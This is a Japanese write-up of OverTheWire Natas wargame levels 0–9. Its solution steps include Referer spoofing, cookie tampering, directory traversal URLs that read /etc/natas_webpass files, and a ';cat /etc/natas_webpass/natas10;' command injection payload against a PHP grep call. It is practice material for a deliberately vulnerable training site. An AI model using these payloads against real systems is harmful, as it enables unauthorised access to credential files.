🕊️
[Level 0 ~ 9] OverTheWire Natas Writeup
はじめに
サイト
環境
Level0~7
- macOS
- Intelチップ
- Chrome バージョン: 129.0.6668.90(Official Build) (x86_64)
Level8~ - macOS
- Appleチップ
- バージョン 137.0.7151.104(Official Build) (arm64)
Tips
macOS 使いは,パスワードをコピーした度に,下記のコマンドをローカルで実行すると,良い感じにパスワードが保存できてタイヘンヨーイ
pbpaste >> password && echo "" >> password && cat -n password
ルール
Level0
-
http://natas0.natas.labs.overthewire.orgにアクセスして,ユーザー名:natas0とパスワード:natas0を指定する. -
F12or⌘+⌥+iでDevToolsを開く. - コメントに
<パスワード>が書いてある.
→Level1
-
Level0と一緒の解法. -
Level0では右クリックして,検証をクリックすることを想定されたのか?
→Level2

-
files/pixel.pngをダウンロードしても特に何もない. -
files/にアクセスすると,users.txtが存在していることがわかる.
→Level3
-
DevToolsを見ても特に何もない.Googleですらわからねえんだったら,クローリングで使われているrobots.txtをみるか. -
http://natas3.natas.labs.overthewire.org/robots.txtにアクセスすると以下が得られる.
User-agent: *
Disallow: /s3cr3t/
-
http://natas3.natas.labs.overthewire.org/s3cr3t/にアクセスするとusers.txtにさらにアクセスすれば良いことがわかる. - よって,
http://natas3.natas.labs.overthewire.org/s3cr3t/users.txtをアクセスするとフラグが得られる.
→Level4
- アクセスすると,
http://natas5.natas.labs.overthewire.org/から飛んで来いと言われたので,以下のコマンドで実現する.
$ curl --referer http://natas5.natas.labs.overthewire.org/ -u natas4:<パスワード> http://natas4.natas.labs.overthewire.org
→Level5
- どうやら,一見さんお断りらしい.
-
DevTools->Application->Cookiesを見ると,loggedinが0になっているので,これを1にしてリロードすれば良さそう.
- 別解として,以下のように,
curlコマンドの-vオプションで,Set-Cookieを確認し,その項目(loggedin)を-bで指定してもいける.
$ curl -v -u natas5:<パスワード> http://natas5.natas.labs.overthewire.org
$ curl -b "loggedin=1" -u natas5:<パスワード> http://natas5.natas.labs.overthewire.org
→Level6
- とりあえず,
View sourcecodeをクリックしてみると,以下のスクリプトが閲覧できる.
~~~省略~~~
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
~~~省略~~~
- おそらく,
http://natas6.natas.labs.overthewire.org/includes/secret.incにアクセスすれば,$secretが得られそう. - そして,その内容を送信すればOK
→Level7
-
HomeとかAboutに移動するときはクエリパラメータにその情報を渡しているようだ. - ディレクトリトラバーサル攻撃を試みれば良さそう.以下のいずれかにアクセスすると答えが得られる.
相対パス
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8
絶対パス
http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
- ソースコードにヒントが書いてあるように,今作のパスワードは一般的に
/etc/natas_webpass/natas<レベル>に格納されていそう.
→Level8
- 逆向きにデコードすれば良い。
ソースコードの中身
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
デコードコマンド
<$encodedSecret> | xxd -r -p | rev | base64 -d
→Level9
- ソースコード上にOSコマンドを直書きしてる!!
- OSコマンドインジェクションってやつかな?
けしからんソースコード
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
パスワード取得コマンド
;cat /etc/natas_webpass/natas10;
おわりに
参考文献
筆者について
Discussion